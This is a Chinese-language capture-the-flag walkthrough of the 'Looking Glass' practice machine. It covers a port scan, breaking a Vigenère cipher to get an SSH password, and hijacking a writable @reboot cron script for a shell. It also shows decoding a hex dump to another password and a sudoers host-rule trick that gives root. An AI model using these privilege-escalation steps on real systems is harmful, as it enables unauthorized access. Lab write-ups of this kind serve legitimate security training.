Looking Glass
端口扫描
root@ip-10-10-210-11:~/lookingglass# nmap -sT -p- --min-rate 1000 10.10.120.27
Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-18 01:21 BST
Nmap scan report for ip-10-10-120-27.eu-west-1.compute.internal (10.10.120.27)
Host is up (0.0042s latency).
Not shown: 60534 closed ports
PORT STATE SERVICE
22/tcp open ssh
9000/tcp open cslistener
....
当我们进行端口扫描时, 会报出很多端口, 根据对应的情况猜测, 这个题应该是要我们筛选出正确的端口
筛选端口
当我们使用 SSH 连接目标时, 会一直报出一些信息, 根据情况分析应该时针对我们的端口, 因此我使用二分法进行查询, 从中筛选到了正确的端口
当我连接正确的端口时, 其给了我一段内容, 询问我要 secret , 根据情况我们需要解密其中的内容
- 在文章首部有: Jabberwocky , 经过查找我发现了 jabberwocky 这应该是原文
- 接着我使用工具判断对应的加密类型, 得到为 Vigenère , 接着我询问了 GPT 后得知知道密文和原文我们就可以获取到其 key
root@ip-10-10-210-11:~/lookingglass# ssh 10.10.120.27 -p 10206
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.
'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'
Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvsd lloimi bp bwvyxaa.
Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!
Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
Ewl vpvict qseux dine huidoxt-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebqpsxug cevm.
'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.
'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:
因此我利用原文和密文进行了获取 key 的操作, 获取到 key 后根据Vigenère 的加密规矩我从中提权到了 key : Thealphabetcipher, 利用得到的 key 进行解密后得到了一个用户的 SSH 密码CyberChef
后渗透
jabberwock
利用此密码进行登陆, 在登陆之后我发现用户具有 SUDO 特权但是是重启主机的, 同时查看定时任务我发现有一条系统重启时执行的定时任务
jabberwock@looking-glass:~$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jabberwock may run the following commands on looking-glass:
(root) NOPASSWD: /sbin/reboot
jabberwock@looking-glass:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
因为对应的执行脚本我们有权控制并且是以 tweedledum 用户身份运行的, 所以修改 twasBrillig.sh
的内容来获取反向 Shell
jabberwock —> tweedledum
tweedledum —> humptydumpty
在用户 tweedledum 的家目录中有一个 tweedledum.txt 文件, 查看其内容判断应该时十六进制转储, 因此我将其下载并进行了查看
root@ip-10-10-210-11:~/lookingglass# xxd -r -p humptydumpty.txt > output
root@ip-10-10-210-11:~/lookingglass# hexdump -C output
00000000 dc ff f5 eb 40 42 3f 05 5a 4c d0 a8 d7 ed 39 ff |....@B?.ZL....9.|
00000010 6c b9 81 68 68 f5 76 6b 40 88 b9 e9 90 69 61 b9 |l..hh.vk@....ia.|
00000020 76 92 c3 ad 35 40 bb 80 3c 02 0b 3a ee 66 cd 88 |v...5@..<..:.f..|
00000030 87 12 32 34 ea 0c 6e 71 43 c0 ad d7 3f f4 31 ed |..24..nqC...?.1.|
00000040 28 39 1d 3b c6 4e c1 5c bb 09 04 26 b0 4a a6 b7 |(9.;.N.\...&.J..|
00000050 64 9c 3c c8 5f 11 23 0b b0 10 5e 02 d1 5e 36 24 |d.<._.#...^..^6$|
00000060 b8 08 e1 56 d1 8d 1c ec dc c1 45 63 75 f8 ca e9 |...V......Ecu...|
00000070 94 c3 65 49 a0 7c 8c 23 15 b4 73 dd 9d 7f 40 4f |..eI.|.#..s...@O|
00000080 fa 51 fd 49 ab f6 77 05 d6 a3 5d 18 21 8c 11 5f |.Q.I..w...].!.._|
00000090 f5 63 3a ec 1f 9e bf dc 9d 5d 49 56 41 6f 57 f6 |.c:......]IVAoW.|
000000a0 b9 77 6d 7d df 45 9c 9a d5 b0 e1 d6 ac 61 e2 7b |.wm}.E.......a.{|
000000b0 ef b5 e9 9f d6 24 46 67 76 00 d7 ca ce f5 44 d0 |.....$Fgv.....D.|
000000c0 5e 88 48 98 da 28 04 71 51 d0 e5 6f 8d c6 29 27 |^.H..(.qQ..o..)'|
000000d0 73 60 3d 0d 6a ab bd d6 2a 11 ef 72 1d 15 42 d8 |s`=.j...*..r..B.|
000000e0 74 68 65 20 70 61 73 73 77 6f 72 64 20 69 73 20 |the password is |
000000f0 7a 79 78 77 76 75 74 73 72 71 70 6f 6e 6d 6c 6b |zyxwvutsrqponmlk|
00000100
在这里获取到了用户 humptydumpty 的密码
humptydumpty —> alice
我注意到 alice 用户的家目录具有公共 x 权限, 那么也就是说, 只要权限适当我们就可以读取其中的内容
alice —> root
使用脚本进行查找后我发现了一个特殊的文件
alice@looking-glass:/etc/sudoers.d$ cat alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
该命令的作用是,允许 alice 用户在 ssalg-gnikool 主机上使用 root 用户的身份运行 /bin/bash
alice@looking-glass:/etc/sudoers.d$ sudo -h ssalg-gnikool /bin/bash -p
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:/etc/sudoers.d# id
uid=0(root) gid=0(root) groups=0(root)